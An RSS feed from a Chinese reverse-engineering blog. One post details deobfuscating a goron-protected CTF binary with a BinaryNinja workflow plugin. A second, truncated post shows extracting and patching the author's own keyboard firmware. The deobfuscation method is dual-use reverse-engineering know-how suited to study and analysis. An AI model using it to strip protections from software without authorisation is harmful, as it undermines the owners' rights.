<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>s1nk != sink</title>
    <link>https://blog.gaoyucan.site/</link>
    <description>记录逆向工程、漏洞复现、CTF 与赛博整活。</description>
    <language>zh-CN</language>
    <copyright>All rights reserved 2026, s1nk</copyright>
    <lastBuildDate>Wed, 22 Apr 2026 05:37:13 GMT</lastBuildDate>
    <generator>Hexo</generator>
    <atom:link href="https://blog.gaoyucan.site/rss2.xml" rel="self" type="application/rss+xml"/>
    <item>
      <title>玉灿吃屎日记 - 吃 goron 记</title>
      <link>https://blog.gaoyucan.site/posts/%E7%8E%89%E7%81%BF%E5%90%83%E5%B1%8E%E6%97%A5%E8%AE%B0-%E5%90%83-goron-%E8%AE%B0/</link>
      <description>
        <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个样本是上周日在“软件赛区域赛”中遇到的，当时使用 angr 拿过往针对 arm64 的反混淆脚本改了一下，勉强能看，事后觉得不够优雅，遂]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/BinaryNinja/">BinaryNinja</category>
      <pubDate>Mon, 20 Apr 2026 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个样本是上周日在“软件赛区域赛”中遇到的，当时使用 angr 拿过往针对 arm64 的反混淆脚本改了一下，勉强能看，事后觉得不够优雅，遂配合 AI 以开发 BinaryNinja 插件的方式，以一种更优雅的方式解决了这个混淆。</p><h2 id="样本观察"><a href="#样本观察" class="headerlink" title="样本观察"></a>样本观察</h2><p>以我对各种混淆的了解，这个题目的混淆应该使用的是 <a href="https://github.com/amimo/goron">goron</a>，使用了间接跳转、间接函数调用、间接全局变量引用、字符串（C string）加密、过程相关控制流平坦混淆，也算是“拉满了”，不过总归是个开源的，单从强度上来说在这个 AI 时代其实谈不上高，或许 AI 可以直接生吃，但是坚持反混淆也算是一种老一辈艺术家的坚守。</p><h3 id="间接跳转"><a href="#间接跳转" class="headerlink" title="间接跳转"></a>间接跳转</h3><p>且先看一段调用的 BinaryNinja 的 LLIL SSA form 的调用地址计算逻辑</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">   5 @ 140001009  [rsp#3 + 0x41c &#123;var_1c&#125;].d = 0x2e0f1794 @ mem#2 -&gt; mem#3</span><br><span class="line">   6 @ 140001014  rax#1 = zx.q([rsp#3 + 0x41c &#123;var_1c&#125;].d @ mem#3)</span><br><span class="line"></span><br><span class="line">  24 @ 140001079  [rsp#3 + 0x134 &#123;var_304&#125;].d = rax#1.eax @ mem#7 -&gt; mem#8</span><br><span class="line"></span><br><span class="line">  33 @ 1400010aa  cond:0#1 = temp0#1.d s&lt; -0x231bebc0</span><br><span class="line">  34 @ 1400010af  rcx#6 = zx.q(0xd)</span><br><span class="line">  35 @ 1400010b4  rdx#6 = zx.q(0x2f)</span><br><span class="line">  36 @ 1400010b9  if (cond:0#1) then 37 else 39 @ 0x1400010bc</span><br><span class="line"></span><br><span class="line">  37 @ 1400010b9  rdx#7 = zx.q(rcx#6.ecx)</span><br><span class="line">  38 @ 1400010b9  goto 39 @ 0x1400010bc</span><br><span class="line"></span><br><span class="line">  39 @ 1400010bc  rdx#8 = ϕ(rdx#6, rdx#7)</span><br><span class="line">  40 @ 1400010bc  r8#4 = [&amp;data_140033c28].q @ mem#12</span><br><span class="line">  41 @ 1400010c3  rcx#7 = zx.q(0xdc1facc8)</span><br><span class="line">  42 @ 1400010c8  r9#5 = zx.q([rsp#3 + 0x134 &#123;var_304&#125;].d @ mem#12)</span><br><span class="line">  43 @ 1400010d0  rcx#8 = zx.q(rcx#7.ecx - r9#5.r9d)</span><br><span class="line">  44 @ 1400010d3  r10#2 = sx.q(rcx#8.ecx)</span><br><span class="line">  45 @ 1400010d6  r8#5 = r8#4 + r10#2</span><br><span class="line">  46 @ 1400010d9  r10#3 = zx.q(rdx#8.edx)</span><br><span class="line">  47 @ 1400010dc  r8#6 = [r8#5 + (r10#3 &lt;&lt; 3)].q @ mem#12</span><br><span class="line">  48 @ 1400010e0  rcx#9 = zx.q(0xa92f1d1c)</span><br><span class="line">  49 @ 1400010e5  rcx#10 = zx.q(rcx#9.ecx - r9#5.r9d)</span><br><span class="line">  50 @ 1400010e8  r10#4 = sx.q(rcx#10.ecx)</span><br><span class="line">  51 @ 1400010eb  r8#7 = r8#6 + r10#4</span><br><span class="line">❓  52 @ 1400010ee  jump(r8#7)</span><br><span class="line"></span><br><span class="line">=&gt; r8#7 = [r8#5 + (r10#3 &lt;&lt; 3)].q + (0xa92f1d1c - var_304)</span><br><span class="line">        = [r8#5 + (ϕ(0xd, 0x2f) &lt;&lt; 3)].q + (0xa92f1d1c - var_1c)</span><br></pre></td></tr></table></figure><p>其中 r8#5 的计算逻辑我们先不展开，反正他就是个跳转表的基地址，所以这样看其实就很直观了，本质上就是 <code>DestBBs[idx] + (X - MySecret)</code> 对应的正是 <code>llvm/lib/Transforms/Obfuscation/IndirectBranch.cpp</code> 中的下面的内容</p><blockquote><p>其中 var_1c 对应 MySecret</p></blockquote><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">Value *MySecret;</span><br><span class="line"><span class="keyword">if</span> (SecretInfo) &#123;</span><br><span class="line">  MySecret = SecretInfo-&gt;SecretLI;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  MySecret = ConstantInt::get(Type::getInt32Ty(Ctx), <span class="number">0</span>, <span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (BI &amp;&amp; BI-&gt;isConditional()) &#123;</span><br><span class="line">  IRBuilder&lt;&gt; IRB(BI);</span><br><span class="line"></span><br><span class="line">  Value *Cond = BI-&gt;getCondition();</span><br><span class="line">  Value *Idx;</span><br><span class="line">  Value *TIdx, *FIdx;</span><br><span class="line"></span><br><span class="line">  TIdx = ConstantInt::get(Type::getInt32Ty(Ctx), BBNumbering[BI-&gt;getSuccessor(<span class="number">0</span>)]);</span><br><span class="line">  FIdx = ConstantInt::get(Type::getInt32Ty(Ctx), BBNumbering[BI-&gt;getSuccessor(<span class="number">1</span>)]);</span><br><span class="line">  Idx = IRB.CreateSelect(Cond, TIdx, FIdx);</span><br><span class="line"></span><br><span class="line">  Value *GEP = IRB.CreateGEP(DestBBs, &#123;Zero, Idx&#125;);</span><br><span class="line">  LoadInst *EncDestAddr = IRB.CreateLoad(GEP, <span class="string">&quot;EncDestAddr&quot;</span>);</span><br><span class="line">  <span class="comment">// Use IPO context to compute the encryption key</span></span><br><span class="line">  <span class="comment">// X = FuncSecret - EncKey</span></span><br><span class="line">  Constant *X;</span><br><span class="line">  <span class="keyword">if</span> (SecretInfo) &#123;</span><br><span class="line">    X = ConstantExpr::getSub(SecretInfo-&gt;SecretCI, EncKey);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    X = ConstantExpr::getSub(Zero, EncKey);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// -EncKey = X - FuncSecret</span></span><br><span class="line">  Value *DecKey = IRB.CreateSub(X, MySecret);</span><br><span class="line">  Value *DestAddr = IRB.CreateGEP(EncDestAddr, DecKey);</span><br><span class="line"></span><br><span class="line">  IndirectBrInst *IBI = IndirectBrInst::Create(DestAddr, <span class="number">2</span>);</span><br><span class="line">  IBI-&gt;addDestination(BI-&gt;getSuccessor(<span class="number">0</span>));</span><br><span class="line">  IBI-&gt;addDestination(BI-&gt;getSuccessor(<span class="number">1</span>));</span><br><span class="line">  ReplaceInstWithInst(BI, IBI);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="间接函数调用"><a href="#间接函数调用" class="headerlink" title="间接函数调用"></a>间接函数调用</h3><p>先看一段调用的 BinaryNinja 的 LLIL SSA 形式的调用地址 r9#3 的计算逻辑</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"> 5 @ 140001009  [rsp#3 + 0x41c &#123;var_1c&#125;].d = 0x2e0f1794 @ mem#2 -&gt; mem#3</span><br><span class="line"> 6 @ 140001014  rax#1 = zx.q([rsp#3 + 0x41c &#123;var_1c&#125;].d @ mem#3)</span><br><span class="line">10 @ 140001039  rcx#1 = [&amp;data_140033c20].q @ mem#6</span><br><span class="line">11 @ 140001040  rdx#1 = zx.q(0xdc1facc8)</span><br><span class="line">12 @ 140001045  r8#1 = zx.q(rdx#1.edx)</span><br><span class="line">13 @ 140001048  r8#2 = zx.q(r8#1.r8d - rax#1.eax)</span><br><span class="line">14 @ 14000104b  r9#1 = sx.q(r8#2.r8d)</span><br><span class="line">15 @ 14000104e  rcx#2 = [rcx#1 + r9#1].q @ mem#6</span><br><span class="line">16 @ 140001052  rdx#2 = zx.q(rdx#1.edx - rax#1.eax)</span><br><span class="line">17 @ 140001054  r9#2 = sx.q(rdx#2.edx)</span><br><span class="line">18 @ 140001057  rcx#3 = rcx#2 + r9#2</span><br><span class="line">20 @ 14000105f  [rsp#3 + 0x138 &#123;var_300&#125;].q = rcx#3 @ mem#6 -&gt; mem#7</span><br><span class="line">23 @ 140001071  r9#3 = [rsp#3 + 0x138 &#123;var_300&#125;].q @ mem#7</span><br><span class="line"></span><br><span class="line">=&gt; r9#3 = rcx#2 + (0xdc1facc8 - var_1c)</span><br></pre></td></tr></table></figure><p>其中 r8#5 的计算逻辑我们先不展开，它就是 <code>EncDestAddr</code>，在 <code>llvm/lib/Transforms/Obfuscation/IndirectCall.cpp</code> 中的生成逻辑如下，</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">Value *Idx = ConstantInt::get(Type::getInt32Ty(Ctx), CalleeNumbering[CS.getCalledFunction()]);</span><br><span class="line">Value *GEP = IRB.CreateGEP(Targets, &#123;Zero, Idx&#125;);</span><br><span class="line">LoadInst *EncDestAddr = IRB.CreateLoad(GEP, CI-&gt;getName());</span><br></pre></td></tr></table></figure><blockquote><p>因为 Idx 是个绝对的常量，所以编译器优化会直接把 <code>&amp;Targets[Idx]</code> 的地址整个计算出来 Load，把 <code>EncDestAddr</code> 当成一个全局变量，这里看不到 Targets[Idx] 的逻辑。</p></blockquote><p>不难发现，上面的 <code>rcx#2 + (0xdc1facc8 - var_1c)</code> 刚好对应 <code>EncDestAddr + (X - MySecret)</code></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">Value *Secret = IRB.CreateSub(X, MySecret);</span><br><span class="line">Value *DestAddr = IRB.CreateGEP(EncDestAddr, Secret);</span><br><span class="line"></span><br><span class="line">Value *FnPtr = IRB.CreateBitCast(DestAddr, FTy-&gt;getPointerTo());</span><br><span class="line">FnPtr-&gt;setName(<span class="string">&quot;Call_&quot;</span> + Callee-&gt;getName());</span><br><span class="line">CallInst *NewCall = IRB.CreateCall(FTy, FnPtr, Args, Call-&gt;getName());</span><br></pre></td></tr></table></figure><h3 id="间接全局变量引用"><a href="#间接全局变量引用" class="headerlink" title="间接全局变量引用"></a>间接全局变量引用</h3><p>前文中省去了 <code>DestBBs</code> 和 <code>EncDestAddr</code> 的展开，现在回到这个问题，</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">   5 @ 140001009  [rsp#3 + 0x41c &#123;var_1c&#125;].d = 0x2e0f1794 @ mem#2 -&gt; mem#3</span><br><span class="line">   6 @ 140001014  rax#1 = zx.q([rsp#3 + 0x41c &#123;var_1c&#125;].d @ mem#3)</span><br><span class="line"></span><br><span class="line">  24 @ 140001079  [rsp#3 + 0x134 &#123;var_304&#125;].d = rax#1.eax @ mem#7 -&gt; mem#8</span><br><span class="line">  40 @ 1400010bc  r8#4 = [&amp;data_140033c28].q @ mem#12</span><br><span class="line">  41 @ 1400010c3  rcx#7 = zx.q(0xdc1facc8)</span><br><span class="line">  42 @ 1400010c8  r9#5 = zx.q([rsp#3 + 0x134 &#123;var_304&#125;].d @ mem#12)</span><br><span class="line">  43 @ 1400010d0  rcx#8 = zx.q(rcx#7.ecx - r9#5.r9d)</span><br><span class="line">  44 @ 1400010d3  r10#2 = sx.q(rcx#8.ecx)</span><br><span class="line">  45 @ 1400010d6  r8#5 = r8#4 + r10#2</span><br><span class="line"></span><br><span class="line">=&gt; DestBBs = r8#5 = [&amp;data_140033c28].q + (0xdc1facc8 - var_304)</span><br><span class="line">           = [&amp;data_140033c28].q + (0xdc1facc8 - var_1c)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">   5 @ 140001009  [rsp#3 + 0x41c &#123;var_1c&#125;].d = 0x2e0f1794 @ mem#2 -&gt; mem#3</span><br><span class="line">   6 @ 140001014  rax#1 = zx.q([rsp#3 + 0x41c &#123;var_1c&#125;].d @ mem#3)</span><br><span class="line"></span><br><span class="line">  10 @ 140001039  rcx#1 = [&amp;data_140033c20].q @ mem#6</span><br><span class="line">  11 @ 140001040  rdx#1 = zx.q(0xdc1facc8)</span><br><span class="line">  12 @ 140001045  r8#1 = zx.q(rdx#1.edx)</span><br><span class="line">  13 @ 140001048  r8#2 = zx.q(r8#1.r8d - rax#1.eax)</span><br><span class="line">  14 @ 14000104b  r9#1 = sx.q(r8#2.r8d)</span><br><span class="line">  15 @ 14000104e  rcx#2 = [rcx#1 + r9#1].q @ mem#6</span><br><span class="line"></span><br><span class="line">=&gt; EncDestAddr = rcx#2 = [[&amp;data_140033c20].q + (0xdc1facc8 - var_1c)]</span><br></pre></td></tr></table></figure><p>都刚好对应 <code>EncGVAddr + (X - MySecret)</code></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (GlobalVariable *GV = dyn_cast&lt;GlobalVariable&gt;(*op)) &#123;</span><br><span class="line">  <span class="keyword">if</span> (GVNumbering.count(GV) == <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">continue</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  IRBuilder&lt;&gt; IRB(Inst);</span><br><span class="line">  Value *Idx = ConstantInt::get(Type::getInt32Ty(Ctx), GVNumbering[GV]);</span><br><span class="line">  Value *GEP = IRB.CreateGEP(GVars, &#123;Zero, Idx&#125;);</span><br><span class="line">  LoadInst *EncGVAddr = IRB.CreateLoad(GEP, GV-&gt;getName());</span><br><span class="line">  Constant *X;</span><br><span class="line">  <span class="keyword">if</span> (SecretInfo) &#123;</span><br><span class="line">    X = ConstantExpr::getSub(SecretInfo-&gt;SecretCI, EncKey);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    X = ConstantExpr::getSub(Zero, EncKey);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  Value *Secret = IRB.CreateSub(X, MySecret);</span><br><span class="line">  Value *GVAddr = IRB.CreateGEP(EncGVAddr, Secret);</span><br><span class="line">  GVAddr = IRB.CreateBitCast(GVAddr, GV-&gt;getType());</span><br><span class="line">  GVAddr-&gt;setName(<span class="string">&quot;IndGV&quot;</span>);</span><br><span class="line">  Inst-&gt;replaceUsesOfWith(GV, GVAddr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="过程相关特性"><a href="#过程相关特性" class="headerlink" title="过程相关特性"></a>过程相关特性</h3><p>经过前面几处的分析，不难发现几乎 goron 中的每一种混淆都离不开 <code>MySecret</code> 这个值，对于上面分析的 main 函数这种可能被外界（非用户编写代码）的函数，<code>MySecret</code> 的值是定义在函数内部的，对于一定由用户定义代码调用的函数 <code>MySecret</code> 通过函数的第一个参数传递。比如样本中的 <code>sub_140005c70</code>，其 <code>MySecret</code> 从 [rcx#0].d 处初始化（也就是函数的第一个参数）。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">   9 @ 140005c7b  rax#1 = zx.q([rcx#0].d @ mem#4)</span><br><span class="line">  10 @ 140005c7d  [rsp#5 + 0x120 &#123;var_28&#125;].d = rax#1.eax @ mem#4 -&gt; mem#5</span><br><span class="line"></span><br><span class="line">  26 @ 140005ce2  [rsp#5 + 0xe8 &#123;var_60&#125;].d = rax#1.eax @ mem#10 -&gt; mem#11</span><br><span class="line"></span><br><span class="line">  69 @ 140005db7  cond:0#1 = temp0#1.d s&lt; -0x4a34b609</span><br><span class="line">  70 @ 140005dbc  rcx#6 = zx.q(0x11)</span><br><span class="line">  71 @ 140005dc1  rdx#10 = zx.q(2)</span><br><span class="line">  72 @ 140005dc6  if (cond:0#1) then 73 else 75 @ 0x140005dc9</span><br><span class="line"></span><br><span class="line">  73 @ 140005dc6  rdx#11 = zx.q(rcx#6.ecx)</span><br><span class="line">  74 @ 140005dc6  goto 75 @ 0x140005dc9</span><br><span class="line"></span><br><span class="line">  75 @ 140005dc9  rdx#12 = ϕ(rdx#10, rdx#11)</span><br><span class="line">  76 @ 140005dc9  r8#10 = [&amp;data_140033da8].q @ mem#21</span><br><span class="line">  77 @ 140005dd0  rcx#7 = zx.q(0x6c7f5c1c)</span><br><span class="line">  78 @ 140005dd5  r9#6 = zx.q([rsp#5 + 0xe8 &#123;var_60&#125;].d @ mem#21)</span><br><span class="line">  79 @ 140005ddd  rcx#8 = zx.q(rcx#7.ecx - r9#6.r9d)</span><br><span class="line">  80 @ 140005de0  r10#7 = sx.q(rcx#8.ecx)</span><br><span class="line">  81 @ 140005de3  r8#11 = r8#10 + r10#7</span><br><span class="line">  82 @ 140005de6  r10#8 = zx.q(rdx#12.edx)</span><br><span class="line">  83 @ 140005de9  r8#12 = [r8#11 + (r10#8 &lt;&lt; 3)].q @ mem#21</span><br><span class="line">  84 @ 140005ded  rcx#9 = zx.q(0xdff33be4)</span><br><span class="line">  85 @ 140005df2  rcx#10 = zx.q(rcx#9.ecx - r9#6.r9d)</span><br><span class="line">  86 @ 140005df5  r10#9 = sx.q(rcx#10.ecx)</span><br><span class="line">  87 @ 140005df8  r8#13 = r8#12 + r10#9</span><br><span class="line">❓  88 @ 140005dfb  jump(r8#13)</span><br></pre></td></tr></table></figure><h2 id="BinaryNinja-反混淆思路"><a href="#BinaryNinja-反混淆思路" class="headerlink" title="BinaryNinja 反混淆思路"></a>BinaryNinja 反混淆思路</h2><p>BinaryNinja 提供了 Workflow API 可以在反编译流程中修改 IL 代码。修改 IL 代码，不像 patch 汇编需要考虑空间够不够，状态寄存器有没有被覆盖...这些鸡零狗碎，复杂至极的问题迎刃而解。</p><blockquote><p>后文中提到的 <code>functionKey</code>，对应的就是前面分析 goron 源码时出现的 <code>MySecret</code>。</p></blockquote><h3 id="“过程相关”-对抗"><a href="#“过程相关”-对抗" class="headerlink" title="“过程相关” 对抗"></a>“过程相关” 对抗</h3><p>这个样本最麻烦的地方，不是某一种单独的混淆，而是几乎所有混淆都和过程内的 <code>functionKey</code> 绑定在一起。间接跳转依赖它，间接函数调用依赖它，间接全局变量引用依赖它，控制流平坦化里的状态初始化也依赖它。只要这个值还是脏的，后面所有地址相关表达式都会跟着脏掉。</p><p>首先对当前样本来说，哪些函数需要 <code>functionKey</code>、<code>functionKey</code> 是什么，分析者是很容易知道的，先把这个输入显式提供出来。对于这个问题，我的做法是通过 metadata.eat_shit.functionKey 为函数提供对应的 <code>functionKey</code> 值，再单独加一个 func_key_pass，在 LLIL SSA 层先把函数入口对 <code>functionKey</code> 的读取改成常量。这样后续无论是前端分析里的栈初始化收集、间接跳转恢复，还是 workflow 中的常量折叠与控制流恢复，处理的都是已经被修正过的 IL。</p><h3 id="间接跳转恢复"><a href="#间接跳转恢复" class="headerlink" title="间接跳转恢复"></a>间接跳转恢复</h3><p>间接跳转恢复是一切的基础。当前样本里很多真实代码块都挂在间接跳转后面，BinaryNinja 如果不知道跳转目标，连 CFG 都搭不出来，函数边界也会跟着乱掉。在这种状态下，别说在 Workflow 里 patch IL，大部分基本块 BinaryNinja 压根都不认为它们是代码。</p><p>所以第一步不是急着 patch <code>jump(reg)</code>，而是先算出它的两个真实目标，然后调用 <code>set_user_indirect_branches</code> 把用户分支信息喂给 BinaryNinja，先把 CFG 恢复出来。只有 CFG 先恢复出来，BinaryNinja 才能把这些目标块重新纳入函数，Workflow 里的 pass 也才能继续在正确的函数范围上工作。</p><p>目标求解本身还是基于 LLIL SSA 反向切片。最终落点表现为 <code>jump(reg)</code>，在 SSA 里顺着 <code>reg</code> 的定义链往回追，就可以还原出目标地址的计算表达式。于是问题就变成了：给定分支条件取真和取假两种环境，最终的跳转表达式各自会算出什么地址。</p><p>做法比较直接：</p><ol><li>从当前 <code>jump(reg)</code> 出发，做一份反向切片。</li><li>在切片中定位真正控制分支的 SSA 定义。</li><li>分别模拟分支取真、取假时的环境。</li><li>计算出 <code>T0</code> 和 <code>T1</code> 两个目标地址。</li><li>先调用 <code>set_user_indirect_branches</code> 恢复 CFG。</li><li>再在 Workflow 里把这个间接跳转 patch 成 <code>if goto</code>。</li></ol><p>这样拆成两步之后，事情就顺了。前一步解决“让 BN 知道这些边存在”，后一步解决“把 IL 改成更好分析的形式”。对当前样本，<code>main</code> 里恢复了数十个间接跳转，<code>sub_140005c70</code> 里也恢复了十几个；做到这一步后，函数图才真正从“断掉的碎块集合”变成一个还能继续反编译的函数。</p><h3 id="间接全局变量引用、间接函数调用-恢复"><a href="#间接全局变量引用、间接函数调用-恢复" class="headerlink" title="间接全局变量引用、间接函数调用 恢复"></a>间接全局变量引用、间接函数调用 恢复</h3><p>间接全局变量引用和间接函数调用，本质上都是同一类问题：原来应该直接出现的地址，被改写成了 <code>EncAddr + (X - MySecret)</code> 这种依赖过程内 key 的表达式。只要 key 已经在前面的 <code>func_key_pass</code> 里被常量化，这一类表达式后面就都可以交给常量传播去吃。</p><p>这里注意到，无论是间接全局变量引用还是间接函数调用，最终如果做“强力的常量折叠”（不考虑 data 段可写），得到的常量一定是一个指针，指向当前程序的某个段。所以，这里并没有针对它们的规则做匹配简化，而是统一交给 <code>constant_fold_pass</code> 在 LLIL SSA 层递归求值，把所有能稳定折叠成 section pointer 的表达式直接替换成 <code>CONST_PTR</code>。一旦替换成功，BinaryNinja 自己就会把它重新识别成更正常的调用目标、全局变量引用或跳转表地址。</p><p>这样做的关键前提有两个：</p><ol><li><code>functionKey</code> 已经先被 patch 成常量。</li><li>已经把完整的函数边界恢复出来。</li></ol><h3 id="控制流平坦化恢复"><a href="#控制流平坦化恢复" class="headerlink" title="控制流平坦化恢复"></a>控制流平坦化恢复</h3><blockquote><p>这一部分整体思路部分参考了葫芦娃前辈的文章 <a href="https://mp.weixin.qq.com/s/0Yoy0_-2JZfGCOd9p2l0lw">深入 OBPO 还原控制流的核心原理</a></p></blockquote><p>前面的几个 pass 做完之后，剩下最难看的部分就是控制流平坦化。这里我没有走“从入口一路模拟到函数结束”的路线，而是先把问题拆成三个更具体的问题：</p><ol><li>哪些块属于 dispatcher？</li><li>每个 state 对应的 case head 是哪个块？</li><li>每个 case 最终会把状态改成什么，然后跳回哪个 dispatcher？</li></ol><h4 id="dispatcher-识别"><a href="#dispatcher-识别" class="headerlink" title="dispatcher 识别"></a><strong>dispatcher 识别</strong></h4><p>当前实现里，dispatcher 的识别标准很克制：</p><ul><li>块尾是 <code>MLIL_IF</code></li><li>条件表达式最终可以规约成“状态变量的无副作用派生值”和“常量”的比较</li></ul><p>这里“无副作用派生值”只支持一小组非常保守的表达式：</p><ul><li><code>VAR</code></li><li><code>ZX</code> &#x2F; <code>SX</code> &#x2F; <code>LOW_PART</code></li><li>一层 <code>PHI</code></li><li><code>ADD</code> &#x2F; <code>SUB</code> &#x2F; <code>XOR</code> 常量</li></ul><p>目的不是做一个完整解释器，而是只接受当前样本里足够稳定的状态表达式，让状态传播仍然是可解释、可验证的。</p><h4 id="状态到-case-的映射"><a href="#状态到-case-的映射" class="headerlink" title="状态到 case 的映射"></a>状态到 case 的映射</h4><p>做法上，先从入口走到第一个 dispatcher，执行 prologue，把初始状态算出来；再沿 dispatcher 的条件判断传播 state 集合，把“某个具体 state 会落到哪个 case head”恢复出来。</p><h4 id="case-后继恢复"><a href="#case-后继恢复" class="headerlink" title="case 后继恢复"></a>case 后继恢复</h4><p>case 出口恢复是从 case head 出发递归遍历后继块；某条路径一旦进入其他 case 的入口块，就认为它已经离开当前 case，不再继续；如果路径重新回到 dispatcher，就把这条路径上最近一次状态写回对应的值记成这个 case 的 successor。</p><p>这样就可以把：</p><ul><li>入口 <code>goto dispatcher</code></li><li>case 内部的“写状态然后回 dispatcher”</li><li>分支 case 的“分别写两个状态再回 dispatcher”</li></ul><p>统一改写成 case 到 case 的直接边。BinaryNinja 重新生成 MLIL &#x2F; HLIL 后，原本那层 dispatcher 就会被撕掉，控制流重新回到正常可读的结构上。</p><h2 id="结果与总结"><a href="#结果与总结" class="headerlink" title="结果与总结"></a>结果与总结</h2><p>最终反混淆效果如下，剩下字符串加密没有处理，终归是一个 CTF 题，这种程度的字符串加密大家肯定都是一脚踢死就没必要再专门写一下了。</p><p><img src="/posts/%E7%8E%89%E7%81%BF%E5%90%83%E5%B1%8E%E6%97%A5%E8%AE%B0-%E5%90%83-goron-%E8%AE%B0/4e0ae0bd86bf963c642745fa074d82c2.png" alt="image.png"></p><p><del>代码基本都是 AI 编写的，就不掏出来献丑了</del> 应群友要求现开放源代码 <a href="https://github.com/GaoYuCan/eat_shit">https://github.com/GaoYuCan/eat_shit</a></p><blockquote><p>面向 x86_64 架构下的 goron 混淆框架设计，属于纯 vibecoding 的实验性代码，仅用于研究和学习。</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>MCHOSE G75 Pro 强行改键</title>
      <link>https://blog.gaoyucan.site/posts/mchose-g75-pro-%E5%BC%BA%E8%A1%8C%E6%94%B9%E9%94%AE/</link>
      <description>
        <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>手里有把 MCHOSE G75 Pro 键盘，功能、声音什么的都挺好，就一个非常脑瘫的问题，MacOS 下要按出来 F1-F12 必须得 <]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/%E6%95%B4%E6%B4%BB/">整活</category>
      <pubDate>Fri, 02 Jan 2026 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>手里有把 MCHOSE G75 Pro 键盘，功能、声音什么的都挺好，就一个非常脑瘫的问题，MacOS 下要按出来 F1-F12 必须得 <code>Fn + F?</code> , 还不支持反转，这不是糖吗？凭什么 MacOS 用户按 F1-F12 就得按两下，Windows 就只用按一下，问客服也说只能这样。</p><p><img src="/posts/mchose-g75-pro-%E5%BC%BA%E8%A1%8C%E6%94%B9%E9%94%AE/e388d84097877a5b64e422b26bc6fa67.png" alt="image.png"></p><p>我就这样用了大概有一年，直到昨天晚上，我突发觉得我必须解决这个问题，我要改掉它，于是就有了下面的内容。</p><h2 id="提取固件"><a href="#提取固件" class="headerlink" title="提取固件"></a>提取固件</h2><p>为了提取固件，我费了很大力气把键盘壳撬开里面主控应该是 <code>BYK916</code> ，搜索了一下总结下来这个芯片用的是 <code>8051 指令集</code>，而且大概率是 Sinowealth SH68F90A 这款芯片的换皮。</p><p><img src="/posts/mchose-g75-pro-%E5%BC%BA%E8%A1%8C%E6%94%B9%E9%94%AE/7a24ad5e6ffd716d35ed81a988d98c69.jpeg" alt="DD5266AB-4A51-4BAD-A439-95BBEE4B6D3D_1_201_a.jpeg"></p><p>然后，我继续搜怎么提取固件，就搜到了 sinowealth-kb-tool 这个工具，可以直接通过 USB 对固件进行读取、刷写。</p><blockquote><p>根本不用拆开键盘，更不用把自己的三模切换开关撬碎 😭😭</p></blockquote><p><a href="https://github.com/carlossless/sinowealth-kb-tool">https://github.com/carlossless/sinowealth-kb-tool</a></p><p>看一下 vendor_id 和 product_id</p><p><img src="/posts/mchose-g75-pro-%E5%BC%BA%E8%A1%8C%E6%94%B9%E9%94%AE/dda280a73f8d7673d765c9b3ae65f333.png" alt="image.png"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sinowealth-kb-tool <span class="built_in">read</span> --platform sh68f90 --vendor_id 0x258a --product_id 0x010C firmware.hex</span><br></pre></td></tr></table></figure><h2 id="固件分析、Patch"><a href="#固件分析、Patch" class="headerlink" title="固件分析、Patch"></a>固件分析、Patch</h2><p>参考当年分析 iMK 键盘思路，尝试直接硬搜按键映射矩阵，</p><p>最终搜索 <code>00 00 00 29 00 00 00 35</code> （0x29 代表 esc）、（0x35 代表 ~&#x2F;&#96;）找到了 4 组</p><p><img src="/posts/mchose-g75-pro-%E5%BC%BA%E8%A1%8C%E6%94%B9%E9%94%AE/7be679fefa387e22cfafe0b6f3df0328.png" alt="image.png"></p><p>然后发现 0xb400 和 0xcc00 内容完全一样，对照键位都是 windows 的键位，而 0xb600 和 0xce00 内容完全一样，对照键位都是 macos 的键位。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">read_keyboard_map</span>(<span class="params">base</span>):</span><br><span class="line">    keyboard_map = 